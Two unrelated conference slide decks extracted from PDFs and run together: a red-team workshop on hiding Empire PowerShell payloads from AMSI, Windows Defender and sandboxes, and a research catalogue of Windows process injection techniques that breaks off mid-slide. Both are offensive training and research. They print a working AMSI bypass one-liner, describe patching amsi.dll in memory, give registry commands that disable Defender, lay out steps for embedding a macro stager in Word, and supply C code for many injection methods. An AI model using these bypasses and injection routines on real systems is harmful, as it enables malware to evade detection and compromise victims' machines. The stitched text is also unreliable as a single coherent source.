◦ BS in Astronautical Engineering, MBA
◦ Red Team Lead
◦ Currently focused on embedded
system security
VINCENT ROSE
HALCYON
◦ Security Researcher, BC Security
◦ BS in Computer Science
◦ Software Engineer
Introduction
◦ How to mask your malware to avoid AMSI and Sandboxes
4
Why are we here?
Introduction
◦ Antimalware Scan Interface (AMSI)
◦ Malware Triggering
◦ Empire
◦ Obfuscation Techniques
◦ Invoke-Obfuscation
◦ AMSI Bypasses
◦ Sandbox Evasion
◦ Put it all together
5
Overview
Introduction
◦ Introduce Microsoft’s Antimalware Scan
Interface (AMSI) and explain its importance
◦ Learn to analyze malware scripts before and
after execution
◦ Understand how obfuscate code to avoid AMSI
and Windows Defender
◦ Detect and avoid sandbox environments
6
Goals
Introduction
We will teach you to…
◦ operate Empire
◦ obfuscate Powershell
◦ avoid AMSI and Sandboxes
We are not going to teach you…
◦ how to be a “leet hacker”
7
Expectations
Introduction
-h What is Malware?
8
◦ Obfuscation is the main means by which Malware
achieves survival
◦ Defeat signature-based Antivirus
◦ Makes analysis more difficult
9
Overview of the Evolution of Malware Obfuscation
What is Malware
I’m Obfuscated
You can’t find me…
The first virus to obfuscate itself was the Brain Virus in 1986
◦ Would display unchanged data from a different disk sector instead of the one it
had modified
The first virus to use encryption was the
Cascade Virus and also appeared in 1986
◦ Used simple XOR encryption
First commercial AV products came out in 1987
◦ This included heuristic based AV products!
10
The Early Days
What is Malware
The Malware Arms Race continued
and by 1992 polymorphic virus
engines had been released
◦ Could be attached to non-
polymorphic viruses to make them
more effective
11
Coming into Its Own
What is Malware
AV wasn’t far behind and soon started
to include emulation code to sandbox
the malware
◦ There were evasion techniques but
we will talk about this later
By the 2000s malware had moved on
to so called metamorphic viruses
◦ Polymorphic viruses only change
their decryptor while metamorphic
change the code body as well
12
Coming into Its Own
What is Malware
Not really completely Fileless
◦ Usually requires some kind of initial script/executable to kick off infection
◦ Persistence methods may leave traces in places like the registry (e.g.,
Poweliks)
This created a big problem for AV as it has traditionally relied on
scanning files/executables
All of this leads into…
13
Going Fileless
What is Malware
Antimalware Scan
Interface (AMSI)
14
The Windows Antimalware Scan
Interface (AMSI) is a versatile interface
standard that allows your applications
and services to integrate with any
antimalware product that's present on
a machine. AMSI provides enhanced
malware protection for your end-users
and their data, applications, and
workloads.
15
What Is AMSI?
AMSI
◦ Evaluates commands at run time
◦ Handles multiple scripting languages (Powershell, JavaScript, VBA)
◦ Provides an API that is AV agnostic
◦ Identify fileless threats
16
That’s Great But What Does that Mean?
AMSI
17
Data Flow
AMSI
The code is evaluated when it is readable by the scripting engine
This means that:
becomes:
However:
Does not become:
This is what allows us to still be able to obfuscate our code
18
One point of clarification (Powershell)
AMSI
Malware Triggering
19
◦ Windows Defender
◦ Antimalware Scan Interface (AMSI)
◦ Control flow guard
◦ Data Execution Prevention (DEP)
◦ Randomized memory allocations
◦ Arbitrary code guard (ACG)
◦ Block child processes
◦ Simulated execution (SimExec)
◦ Valid stack integrity (StackPivot)
20
Types of Windows Mitigations
Malware Triggering
22
Flagged Malware
Malware Triggering
Get-WinEvent 'Microsoft-Windows-Windows Defender/Operational' -
MaxEvents 10 | Where-Object Id -eq 1116 | Format-List
23
Windows Defender Logs
Malware Triggering
Detection Source: AMSI
Detection Source: Real-time Protection
1. Run Powershell ISE
2. Look in the sample folder
3. Try out samples 1-3
24
Try Some Code Samples
Malware Triggering
Building/Customizing
Your Malware
25
Prioritize what you want to complete
1. Get working base code first
◦ Empire, Metasploit, Etc
2. Customize Functions
3. Obfuscate Code
4. Test Against AV
26
Don’t Do Too Much at Once
Building/Customizing Malware
New-ItemProperty -Path
"HKLM:\Software\policies\microsoft\windows defender" -name
disableantispyware -value 1 –Force
Restart computer/VM
27
Disabling Windows Defender
Building/Customizing Malware
Run network as “host only” if connected to the internet
Don’t burn your tools in development
Empire Tutorial
28
Post-exploitation framework built around Powershell
◦ Merger of Powershell Empire and Python EmPyre projects
◦ Runs on Python 2.6/2.7
◦ Encrypted C2 channel
◦ Adaptable modules
◦ .bat, .vbs, .dll
◦ Released at BSidesLV 2015
◦ No longer maintained as of Aug 2019
29
What is Empire?
Empire
30
Why Go After Powershell?
◦ Full .NET access
◦ Direct access to Win32 API
◦ Operates in memory
◦ Installed by default in Windows
◦ Admins typically leave it enabled
Empire
Relatively small payload (stager) that calls back to a listener
31
How Empire is Deployed?
Empire
https://github.com/BC-
SECURITY/Empire
Install our forked version (Do not use
version 2.5)
◦ sudo ./setup/install.sh
◦ sudo ./setup/reset.sh
32
Empire Tutorial
Empire
Splash page
◦Version running
(We are using a modified dev
version)
◦How many modules loaded
◦Active Listeners
◦Active Agents
33
Empire Tutorial
Empire
“Help” lists out all available commands
◦ Agents – Active payloads available
◦ Interact – Control a payload/host
◦ Preobfuscate – Obfuscates Powershell
module (not needed)
◦ Set – Modify payload settings
◦ Usemodule – Select Empire Module
◦ Uselistener – Select Listener
◦ Usestager – Select Empire stager (we will
be using macros)
34
Empire Tutorial
Empire
Setting up your listener
Select “uselistener http”
35
Empire Tutorial
Empire
Use edit to modify Listener info
◦“set Name LISTENERNAME”
◦“set Host YOURIPADDRESS”
◦“set Port PORTNUMBER”
◦“set Launcher powershell -nop
-sta –enc”
◦“execute”
36
Empire Tutorial
Empire
37
Empire Tutorial
Usestager
◦Tailor the stager to what the target is
◦“Multi/Launcher”
◦ Useful for testing VM setups
Empire
Setting the stager and listener
Successful callback to Empire
38
Testing the Launcher
Empire
New-ItemProperty -Path
"HKLM:\Software\policies\microsoft\windows defender" -name
disableantispyware -value 0 –Force
Restart computer/VM
39
Enabling Windows Defender
Empire
Setting the stager and listener
Outputs…
40
Testing the Launcher
Empire
Build the stager
◦ Select “usestager multi/launcher”
◦ “info” to view settings
41
Test your Empire Payload
Empire
Final check on settings
◦ Obfuscation is False
◦ AMSIBypass is True
◦ Good to Go!
◦ “execute”
42
Test your Empire Payload
Empire
Final check on settings
◦ Obfuscation is False
◦ AMSIBypass is True
◦ Good to Go!
◦ “execute”
43
Test your Empire Payload
Empire
44
Test your Empire Payload
Empire
Default Empire will not get past AMSI
◦ Obfuscation or changes are needed
◦ Default Empire will get you caught
45
Empire Tutorial
Empire
Obfuscation Techniques
46
Powershell ignores capitalization
◦ Create a standard variable
◦ This makes
and
◦ The same as…
◦ AMSI ignores capitalization, but changing your hash is a best practice
47
Randomized Capitalization
Obfuscation Techniques
AMSI is still heavily dependent upon signatures, simple
concatenation can circumvent most alerts
will be flagged
But, is not flagged
48
Concatenation
Obfuscation Techniques
Powershell recognizes $ as a special character in a string and will
fetch the associated variable.
We embedded into
Which gives us
49
Variable Insertion
Obfuscation Techniques
Powershell allows for the use of {} inside a string to allow for
variable insertion. This is an implicit reference to the format string
function.
will be flagged
But,
Returns…
50
Format String
Obfuscation Techniques
Uses:
◦ Pseudorandom number generation
◦ Error detection
◦ Encryption/Decryption
◦ Reversable function
51
XOR || ⊕
A
B
A XOR B
0
0
0
0
1
1
1
0
1
1
1
0
Obfuscation Techniques
Using Samples 1-3 from the early exercise attempt to obfuscate
them so that they will run
Sample 3 can be difficult to figure out what is causing the issue
Save your modified versions as a different name. We will reuse the
unobfuscated samples latter
Close/Open Powershell ISE between samples
52
Obfuscate the Samples
Obfuscation Techniques
◦ Break large sections of code into smaller pieces
◦ Isolate fewer lines to determine what is being flagged
◦ Good place to start is looking for “AMSI”
53
Hints
Obfuscation Techniques
54
The Answers
Obfuscation Techniques
Invoke-Obfuscation
55
Install here
◦https://github.com/danielboha
nnon/Invoke-Obfuscation
◦“Start-up.ps1”
◦“Import-Module ./Invoke-
Obfuscation.psd1”
◦Run “Invoke-Obfuscation”
56
Invoke-Obfuscation
Obfuscation Techniques
Type “Tutorial” for high level
directions
◦Extremely helpful for
learning/remembering the basics
57
Invoke-Obfuscation
Obfuscation Techniques
Example code
◦ Use Sample 4
◦ SET SCRIPTBLOCK…
58
Invoke-Obfuscation
Obfuscation Techniques
Token-layer Obfuscation
◦ Token\Variable (extremely useful for
masking variable names to AMSI)
◦ Token\All (if you are super lazy)
◦ This will get you caught
◦ Typically run whitespace last (2-3
times)
59
Invoke-Obfuscation
Obfuscation Techniques
Abstract Syntax Tree (AST)
60
What is Abstract Syntax Tree (AST)?
Obfuscation Techniques
Abstract Syntax Tree (AST)
◦ Changes structure of AST
◦ AST contains all parsed content in
Powershell code without having to
dive into text parsing (we want to
hide from this)
61
Invoke-Obfuscation
Obfuscation Techniques
Encoding
◦ Used to further mask the payload
by converting the format (e.g., Hex,
Binary, AES, etc)
◦ Beware: running too much encoding
will break the 8,191 character limit
62
Invoke-Obfuscation
Obfuscation Techniques
String
◦Obfuscate Powershell code as a
string
◦Breaks up the code with reversing
techniques and concatenation
63
Invoke-Obfuscation
Obfuscation Techniques
Compress
◦Can be used in conjunction with
Encoding to reduce the overall
size of the payload.
64
Invoke-Obfuscation
Obfuscation Techniques
Launcher
◦Not needed since Empire already
includes a launcher
65
Invoke-Obfuscation
Obfuscation Techniques
Order of operations
◦Mix it up to avoid detection
◦Example:
◦Token\String\1,2
◦Whitespace\1
◦Encoding\1
◦Compress\1
66
Invoke-Obfuscation
Obfuscation Techniques
67
Invoke-Obfuscation in Empire
Obfuscation Techniques
AMSI Bypasses
68
If our payload is already obfuscated enough to evade AMSI why
bother?
◦ Only the first part of the stager is obfuscated!
69
Why do we need this?
AMSI Bypasses
AMSI bypasses let us
load whatever future modules we
may want without issues
◦ Mimikatz, PSInject, Powerup
70
Why do we need this?
AMSI Bypasses
◦ AMSI_RESULT_CLEAN = 0
◦ AMSI_RESULT_NOT_DETECTED = 1
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
◦ AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
◦ AMSI_RESULT_DETECTED = 32768
71
AMSI results
AMSI Bypasses
72
Keep It Simple Stupid
AMSI Bypasses
73
Keep It Simple Stupid
AMSI Bypasses
74
Keep It Simple Stupid
AMSI Bypasses
Simplest Bypass that currently works
◦ $Ref=[REF].Assembly.GetType('System.Management.Automation.AmsiUtils');
◦ $Ref.GetField('amsiInitFailed', 'NonPublic, Static').SetValue($NULL, $TRUE);
75
Bypass 1: Reflective Bypass
AMSI Bypasses
Using reflection we are exposing functions from AMSI
We are setting the AmsiInitField to True which source code shows
causes AMSI to return:
◦ AMSI_SCAN_RESULT_NOT_FOUND
76
What Does it Do?
AMSI Bypasses
AMSI.dll
AMSI is loaded into the Powershell process at start up so it has the
same permission levels as the process the malware is in
77
Why does this work?
AMSI Bypasses
More complicated bypass, but still allows AMSI to load
78
Bypass 2: Patching AMSI.dll in Memory
AMSI Bypasses
We use C# to export a few functions from kernel32 that allows to
identify where in memory amsi.dll has been loaded
79
Bypass 2: Patching AMSI.dll in Memory
AMSI Bypasses
We modify the memory permissions to ensure we have access
80
Bypass 2: Patching AMSI.dll in Memory
AMSI Bypasses
Modifies the return function to all always return a value of
RESULT_NOT_DETECTED
81
Bypass 2: Patching AMSI.dll in Memory
AMSI Bypasses
AMSI.dll is loaded into the same memory space as Powershell.
This means that we have unrestricted access to the memory space
that AMSI runs in and can modify it however we please
Tells the function to return a clean result prior to actually scanning
82
Why does this work?
AMSI Bypasses
Ensure that ObfuscateCommand
and AMSI Bypass both display
values
◦ “set Obfuscate True”
◦ “set ObfuscateCommand Token\String\1,1,2,
Token\Variable\1, Token\Whitespace\1,1,
Compress\1”
◦ “set AMSIBypass True”
83
AMSI Bypasses in Empire
AMSI Bypasses
Re-enable Defender and run your Empire launcher
84
Test time!
AMSI Bypasses
Sandbox Detection and
Evasion
85
◦ A software created environment that isolates
and limits the rights and accesses of a
process being executed
◦ An effective way of doing behavioral analysis
for AV
86
What is a Sandbox?
Sandbox Evasion
87
Who is using Sandboxes?
Sandbox Evasion
As we talked about earlier, obfuscating
code to break signatures can be
relatively trivial
◦ AV would need an almost unlimited
number of signatures
Heavily obfuscated code can make it
almost impossible for human analysis to
be effective
Instead evaluate behavior
88
Automated Sandbox Malware analysis
Sandbox Evasion
Sandbox Indicators
89
They use a lot of resources
which can be expensive
End users don't want to wait to
receive their messages
Email scanning requires
thousands of attachments to
be evaluated constantly
90
Sandbox Limitations
Sandbox Indicators
These limitations provide us with several means to try and detect or
evade them
◦ Password Protection
◦ Time Delays
◦ Auto open vs close
◦ Check for limited resources (small amount of ram, single core, etc.)
◦ Look for virtualization processes (sandboxie, VMWare tools)
91
Sandbox Limitations
Sandbox Indicators
Embedding Macros
92
93
Back to Empire
Usestager
◦Tailor the stager to what the target is
◦Our focus is Windows using a Macro (will be used later)
◦“Windows/macro”
Embedding Macros
◦Set stager and listener
◦Copy macro over to Word
94
Creating a Payload
Embedding Macros
95
Turning on Developer Options
Embedding Macros
Open Word Document
Select Developer Options
Click on Macros
96
Embedding the Macro
Embedding Macros
97
Embedding the Macro
Embedding Macros
Drag and drop NewMacros from Modules to current Project
98
Embedding the Macro
Embedding Macros
Evasion Techniques
99
Before we do suspicious things such as…
◦ Starting a new process
◦ Reaching out to the internet
The checks could be suspicious themselves
◦ Sandbox Evasion is becoming more
prevalent
100
When do we want to do this?
Evasion Techniques
The sandbox doesn't know the
password and therefore can't open
the file. No results are found so the
file is passed on.
The password is usually sent in the
body of the email with instructions to
use it.
◦ Lower success rate
101
Password Protection
Evasion Techniques
Email filters have a limited amount of time to scan files so delay
until it the scan is completed
This is less practical in a macro as it will keep the document open
until done waiting
102
Time Delay
Evasion Techniques
Using WMI Objects you can enumerate the hardware and system
configurations
Some malware looks for things like the presence of a fan
◦ Note: WMI objects are very inconsistently implemented by manufacturers.
103
Checking for Resources
Evasion Techniques
Some Useful WMI Objects
◦ Win32_ComputerSystem
◦ Win32_LogicalDisk
◦ Win32_Fan
◦ Win32_videocontroller
104
Checking for Resources
Evasion Techniques
Most if not all sandboxes result in the addition of management
processes that we can look for
◦ Win32_Process contains all the processes currently running
Some common processes to look for:
◦ Sbiesvc, SbieCtrl
◦ Vmtools
◦ VBoxService
105
Checking for Processes
Evasion Techniques
Because of the control many developers have on implementing
WMI objects or naming processes there is no one check that is
guaranteed to work.
◦ Learn as much as possible about the target environment
◦ Use multiple halting conditions
◦ Check places like attack.mitre.org to look for new techniques if old ones fail
106
There is no one way guaranteed to work
Evasion Techniques
Commonality between sandboxes can
be used as a fingerprint
◦ Number of CPU cores
◦ RAM
◦ Disk Size
Not common
◦ IP address
◦ Machine and User names
107
Evasion Development
Evasion Techniques
Put it all together
YOUR TURN TO TRY IT ALL
109
1. Build payload in Empire
◦ AMSI Bypass
◦ Obfuscation
2. Embed into Word Doc
◦ Verification
3. Add in Macro Checks to avoid “Sandbox”
4. (Optional) Test on host machine
110
Put it all together
Put it all together
[email protected]
@BCSECURITY1
HTTPS://GITHUB.COM/BC-SECURITY/DEFCON27
111 | pdf |
Process Injection Techniques -
Gotta Catch Them All
Amit Klein, VP Security Research
Itzik Kotler, CTO and co-founder
Safebreach Labs
About Itzik Kotler
•
15+ years in InfoSec
•
CTO & Co-Founder of SafeBreach
•
Presented in Black Hat, DEF CON, HITB, RSA, CCC and more.
•
http://www.ikotler.org
About Amit Klein
•
28 years in InfoSec
•
VP Security Research Safebreach (2015-Present)
•
30+ Papers, dozens of advisories against high profile products
•
Presented in BlackHat, DefCon, HITB, NDSS, InfoCom, DSN, RSA,
CertConf, Bluehat, OWASP Global, OWASP EU, AusCERT and more
•
http://www.securitygalore.com
Why this research?
•
No comprehensive collection/catalog of process injection
techniques
•
No separation of true injections from process hollowing/spawning
•
No categorization (allocation vs. memory write vs. execution),
analysis, comparison
•
Update for Windows 10 (latest versions), x64
Kudos and hat-tip
•
Kudos to the following individuals/companies, for
inventing/developing/documenting/POCing many techniques:
•
Adam of Hexacorn
•
Odzhan
•
EnSilo
•
Csaba Fitzl AKA TheEvilBit
•
And many others…
•
Hat tip to EndGame for providing the first compilation of injection
techniques.
True process injection
•
True process injection – from live userspace process (malware) to
live userspace process (target, benign)
•
In contrast to (out of scope):
•
Process spawning and hollowing – spawning the “target”
process and injecting into it (especially before execution)
•
Pre-execution – e.g. DLL hijacking, AppCert, AppInit, LSP
providers, Image File Execution Options, etc.
Windows 10, x64
•
Windows 10
•
CFG (Control Flow Guard) – prevent indirect calls to non-approved
addresses
•
CIG (Code Integrity Guard) - only allow modules signed by
Microsoft/Microsoft Store/WHQL to be loaded into the process memory
•
x64 (vs. x86)
•
Calling convention – first 4 arguments in (volatile) registers: RCX, RDX, R8,
R9. Invoking functions (from ROP) necessitates control over some/all these
registers.
•
No POPA - writing ROP is more difficult (bootstrapping registers)
The enemy of a good PoC…
HANDLE th = OpenThread(THREAD_SET_CONTEXT|
THREAD_QUERY_INFORMATION, FALSE, thread_id);
ATOM a = GlobalAddAtomA(payload);
NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,
(PVOID)(target_payload), (PVOID)(sizeof(payload)));
The scope
•
True process injection
•
Running “sequence” of logic/commands in the target process (not
just spawning cmd.exe…)
•
Windows 10 version 1803 and above
•
x64 injecting process, x64 target process, both medium integrity
•
Non-admin
•
Evaluation against Windows 10 protections (CFG, CIG)
CFG strategy
•
Disable CFG
•
Standard Windows API SetProcessValidCallTargets() can be
used to deactivate CFG in the target process (remotely!)
•
Suspicious…
•
May be disabled/restricted in the future
•
Allocate/set executable memory (+making all the allocation CFG-
valid)
•
VirtualAllocEx/VirtualProtectEx
•
Suspicious…
•
Playing by the rules – writing non-executable data (ROP chain),
and using a CFG-agnostic execution method to run a stack pivot
gadget (or similar)
•
Difficult…
Other defenses
•
Used to be eliminated from the target process using
SetProcessMitigationPolicy
•
3 argument function, can be invoked remotely via
NtQueueApcThread
•
No longer works (1809).
•
CIG is most painful (no loading of arbitrary DLLs)
Typical process injection building blocks
•
Memory allocation
•
May be implicit (cave, stack, …)
•
Page permission issues
•
Control over allocation address?
•
CFG validity?
•
Memory writing
•
Restricted size/charset?
•
Atomic?
•
Execution
•
Target has to be CFG-valid?
•
Control over registers?
•
Limitations/pre-requisites
Process injection techniques
Classic memory allocation technique
HANDLE h = OpenProcess(PROCESS_VM_OPERATION, FALSE, process_id);
LPVOID target_payload=VirtualAllocEx(h,NULL,sizeof(payload),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
•
Can allocate executable pages
•
For executable pages, Windows automatically sets all the region to
be CFG-valid
•
Variant – allocating RW pages, then adding X with VirtualProtectEx
The classic WriteProcessMemory
memory writing technique
HANDLE h = OpenProcess(PROCESS_VM_WRITE, FALSE, process_id);
WriteProcessMemory(h, target_payload, payload, sizeof(payload),
NULL);
•
No prerequisites, no limitations. Address is controlled.
•
CFG – if the allocation set execution privileges (e.g. VirtualAllocEx), then all the
region is CFG-valid.
•
CIG – no impact.
The classic CreateRemoteThread
execution technique
HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE,
process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)
target_execution, RCX, 0, NULL);
•
Pre-requisites – none.
•
CIG – no impact
•
CFG – target_execution should be valid CFG target.
•
Registers – control over RCX
A classic DLL injection execution
technique
HANDLE h = OpenProcess(PROCESS_CREATE_THREAD, FALSE, process_id);
CreateRemoteThread(h, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA,
target_DLL_path, 0, NULL);
•
Pre-requisites – the DLL is on disk; write-technique used to write the DLL path to
the target process; DllMain is restricted (loader lock).
•
CFG – no impact
•
CIG – blocks this technique
•
Variant: using QueueUserAPC/NtQueueApcThread
Another classic DLL injection execution
technique
HMODULE h = LoadLibraryA(dll_path);
HOOKPROC f = (HOOKPROC)GetProcAddress(h, "GetMsgProc"); // GetMessage hook
SetWindowsHookExA(WH_GETMESSAGE, f, h, thread_id);
PostThreadMessage(thread_id, WM_NULL, NULL, NULL); // trigger the hook
•
Pre-requisites – the DLL is on disk, exports e.g. GetMsgProc
•
CFG – no impact
•
CIG – blocks this technique
The classic APC execution technique
HANDLE h = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
QueueUserAPC((LPTHREAD_START_ROUTINE)target_execution, h, RCX);
or
NtQueueApcThread(h, (LPTHREAD_START_ROUTINE)target_execution, RCX,
RDX, R8D);
•
Pre-requisites – thread must be in alertable state (next slide)
•
CIG – no impact
•
CFG – target_execution should be valid CFG target.
•
Registers – control over RCX (NtQueueApcThread – RCX, RDX, R8D)
Alertable state functions
The following 5 functions (and their low-level syscall wrappers):
•
SleepEx
•
NtDelayExecution
•
WaitForSingleObjectEx
•
NtWaitForSingleObject
•
WaitForMultipleObjectsEx
•
NtWaitForMultipleObjects
•
SignalObjectAndWait
•
NtSignalAndWaitForSingleObject
•
MsgWaitForMultipleObjectsEx (probably RealMsgWaitForMultipleObjectsEx)
•
NtUserMsgWaitForMultipleObjectsEx
Quite common!
Easily detected – RIP at internal function +0x14 (right after SYSCALL)
The classic thread hijacking execution
technique (SIR)
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
SuspendThread(t);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_CONTROL;
ctx.Rip = (DWORD64)target_execution;
SetThreadContext(t, &ctx);
ResumeThread(t);
SIR continued
•
Pre-requisites: none.
•
CFG – no impact (!) except RSP
•
Control over registers: no guaranteed control over volatile registers (RAX, RCX,
RDX, R8-R11). Control over RSP is limited (stack reservation limits).
•
With RW memory (no X):
•
Use write primitive to write ROP chain to the target process
•
Set RIP to a stack pivot gadget to set RSP to the controlled memory
Ghost-writing (monolithic technique)
•
Like thread hijacking, but without the memory writing part…
•
Memory writing is achieved in steps, using SetThreadContext to set registers
•
At the end of each step, the thread is running an infinite loop (success marker)
•
Required ROP gadgets:
•
Sink gadget – infinite loop (JMP -2), marking the successful end of execution
•
Write gadget – e.g. MOV [RDI],RBX; …; RET
•
Stack pivot or equivalent
•
Step 1: use the write gadget to write the loop gadget into stack
RDI=ctx.rsp, RBX=sink_gadget, RIP=write_gadget
•
Step 2: use the write gadget to write arbitrary memory (infinite loop after each
QWORD): RDI=address, RBX=data, RSP=ctx.rsp-8, RIP=write_gadget
•
Step 3: execute stack pivot (or equivalent): RSP=new_stack, RIP=rop_gadget
Unused stack as memory - tips
•
Maintain distance from the official TOS (leave room for WinAPI
call stack)
•
Don’t go too far – stack is limited (1MB)
•
Grow (commit) the stack by touching memory at page size (4KB)
intervals
•
Mind the alignment (16B) when invoking functions
Ghost-writing (contd.)
•
Pre-requisites: writable memory
•
CFG: no impact (!) except RSP
•
CIG: no impact
•
Control over registers (step 3): no guaranteed control over volatile registers
(RAX, RCX, RDX, R8-R11). Control over RSP is limited (stack reservation limits).
Shared memory writing technique
HANDLE hm = OpenFileMapping(FILE_MAP_ALL_ACCESS,FALSE,section_name);
BYTE* buf = (BYTE*)MapViewOfFile(hm, FILE_MAP_ALL_ACCESS, 0, 0, section_size);
memcpy(buf+section_size-sizeof(payload), payload, sizeof(payload));
HANDLE h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, process_id);
char* read_buf = new char[sizeof(payload)];
SIZE_T region_size;
for (DWORD64 address = 0; address < 0x00007fffffff0000ull; address += region_size)
{
MEMORY_BASIC_INFORMATION mem;
SIZE_T buffer_size = VirtualQueryEx(h, (LPCVOID)address, &mem, sizeof(mem));
… Shared memory detection logic here …
region_size = mem.RegionSize;
}
Shared memory detection logic
if ((mem.Type == MEM_MAPPED) && (mem.State == MEM_COMMIT) && (mem.Protect == PAGE_READWRITE) &&
(mem.RegionSize == section_size))
{
ReadProcessMemory(h, (LPCVOID)(address+section_size-sizeof(payload)), read_buf,
sizeof(payload), NULL);
if (memcmp(read_buf, payload, sizeof(payload)) == 0)
{
// the payload is at address + section_size - sizeof(payload);
…
break;
}
}
(contd.)
•
Pre-requisites: target process has RW shared memory, attacker knows the name
and size
•
CFG – (shared) memory retains its access rights (typically not executable)
•
CIG – no impact
Atom bombing write technique
Naïve code (payload length<256, with terminating NUL byte and no other NULs):
HANDLE th = OpenThread(THREAD_SET_CONTEXT|
THREAD_QUERY_INFORMATION, FALSE, thread_id);
ATOM a = GlobalAddAtomA(payload);
NtQueueApcThread(th, GlobalGetAtomNameA, (PVOID)a,
(PVOID)(target_payload), (PVOID)(sizeof(payload)));
•
Original paper doesn’t write NUL bytes (assumes zeroed out target memory) –
we devised a technique to write NUL bytes
•
Pre-requisites: thread must be in alertable state. target_payload is allocated,
writable.
•
CFG/CIG – no impact. target_payload retains its access rights (typically not
executable)
NtMapViewOfSection (allocating+)
writing technique
HANDLE fm = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL,
PAGE_EXECUTE_READWRITE, 0, sizeof(payload), NULL);
LPVOID map_addr =MapViewOfFile(fm, FILE_MAP_ALL_ACCESS, 0, 0, 0);
HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION,
FALSE, process_id);
memcpy(map_addr, payload, sizeof(payload));
LPVOID target_payload=0;
SIZE_T view_size=0;
NtMapViewOfSection(fm, p, &target_payload, 0, sizeof(payload),
NULL, &view_size, ViewUnmap, 0, PAGE_EXECUTE_READWRITE );
(contd.)
•
Cannot be used for already allocated memory. If target_payload is 0, Windows
chooses the address; if target_payload>0, Windows will map to there (but it has
to be an un-allocated memory).
•
Pre-requisites: none. Limitations: cannot write to allocated memory.
•
CFG – memory allocated with page execution privileges becomes valid CFG
target!
•
CIG – not relevant
Unmap+rerwrite execution technique
MODULEINFO ntdll_info;
HMODULE ntdll = GetModuleHandleA("ntdll");
GetModuleInformation(GetCurrentProcess(), ntdll, &ntdll_info, sizeof(ntdll_info));
LPVOID ntdll_copy = malloc(ntdll_info.SizeOfImage);
HANDLE p = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION |
PROCESS_SUSPEND_RESUME, FALSE, process_id);
NtSuspendProcess(p);
ReadProcessMemory(p, ntdll, ntdll_copy, ntdll_info.SizeOfImage, NULL);
… // Patch e.g. NtClose in ntdll_copy
NtUnmapViewOfSection(p, ntdll);
… // Allocate +(Re)write ntdll_copy to address ntdll in target process
FlushInstructionCache(p, ntdll, ntdll_info.SizeOfImage);
NtResumeProcess(p);
(contd.)
•
Pre-requisite: Write technique must be able to allocate (at least) RX pages in a
specific address
•
CFG – all the original CFG-valid addresses in NTDLL should be CFG-valid (or else
process may crash). However, both VirtualAllocEx and NtMapViewOfSection set
whole section to CFG-valid when PAGE_EXECUTE is requested.
•
CIG – not relevant
•
Control over registers: no
•
Note that in order not to destabilize the process:
•
Process-wide suspend
•
Copying the complete NTDLL memory (incl. static variables)
Callback override execution techniques
•
SetWindowLongPtr
(SetWindowLong)
•
PROPagate
•
Kernel Callback Table
•
Ctrl-Inject
•
Service Control
•
USERDATA
•
ALPC callback
•
CLIBRDWNDCLASS
•
DnsQuery
•
WNF callback
•
Shatter-like:
•
WordWarping
•
Hyphentension
•
AutoCourgette
•
Streamception
•
Oleum
•
ListPLanting
•
Treepoline
Concept
•
Write code to the target process using a writing technique
•
Find/obtain a memory address of an object (with vtbl)/callback function
•
May be tricky – need to know that the process has the object/callback (e.g. ALPC,
console apps, private clipboard)
•
Via API (e.g. GetWindowLongPtr)
•
Via memory search (e.g. ALPC)
•
Replace the object/callback (using a writing technique or standard API) to point
at a chosen function/code
•
Must be CFG-valid target
•
May require some object/code adjustments
•
Trigger execution
•
May be tricky (e.g. DnsQuery)
•
(Restore original object/callback)
CtrlInject execution technique
HANDLE h = OpenProcess(PROCESS_VM_OPERATION, FALSE, process_id); // PROCESS_VM_OPERATION is required for
RtlEncodeRemotePointer
void* encoded_addr = NULL;
ntdll!RtlEncodeRemotePointer(h, target_execution, &encoded_addr);
… // Use any Memory Write technique here to copy encoded_addr to kernelbase!SingleHandler in the target process
INPUT ip;
ip.type = INPUT_KEYBOARD;
ip.ki.wScan = 0;
ip.ki.time = 0;
ip.ki.dwExtraInfo = 0;
ip.ki.wVk = VK_CONTROL;
ip.ki.dwFlags = 0; // 0 for key press
SendInput(1, &ip, sizeof(INPUT));
Sleep(100);
PostMessageA(hWindow, WM_KEYDOWN, 'C', 0); // hWindow is a handle to the application window
memset/memmove write technique
HMODULE ntdll = GetModuleHandleA("ntdll");
HANDLE t = OpenThread(THREAD_SET_CONTEXT, FALSE, thread_id);
for (int i = 0; i < sizeof(payload); i++)
{
NtQueueApcThread(t, GetProcAddress(ntdll, "memset"),
(void*)(target_payload+i), (void*)*(((BYTE*)payload)+i), 1);
}
// Can finish with an “atomic” NtQueueApcThread(t,
GetProcAddress(ntdll, "memmove"), (void*)target_payload_final,
(void*)target_payload, sizeof(payload));
(contd.)
•
Prerequisites: thread must be in an alertable state, memory is allocated.
•
CFG: not affected (ntdll!memset is CFG-valid), memory retains its original
access rights (typically RW)
•
CIG: not affected.
•
Writes to any address
Stack-bombing execution technique
Naïve code (run and crash):
HANDLE t = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT |
THREAD_SUSPEND_RESUME, FALSE, thread_id);
SuspendThread(t);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(t, &ctx);
DWORD64 ROP_chain = (DWORD64)ctx.Rsp; // for the 5 alertable state functions…
… // Adjust ROP_chain based on ctx.rip (or use APC…)
… // write ROP chain to ROP_chain memory address in target process
ResumeThread(t); // when the current function returns, it’ll execute the ROP chain
Alertable state internal functions
mov r10,rcx
mov eax,SERVICE_DESCRIPTOR
test byte ptr [SharedUserData+0x308],1
jne +3
syscall
ret
int 2E
ret
•
No use of stack (tos=rsp=ptr to return address)
•
No use of volatile registers after return from kernel – injected code can use them
Analysis
•
Prerequisites: thread in alertable state (APC), or careful analysis of interrupted
function; target (e.g. ROP gadget) should be RX.
•
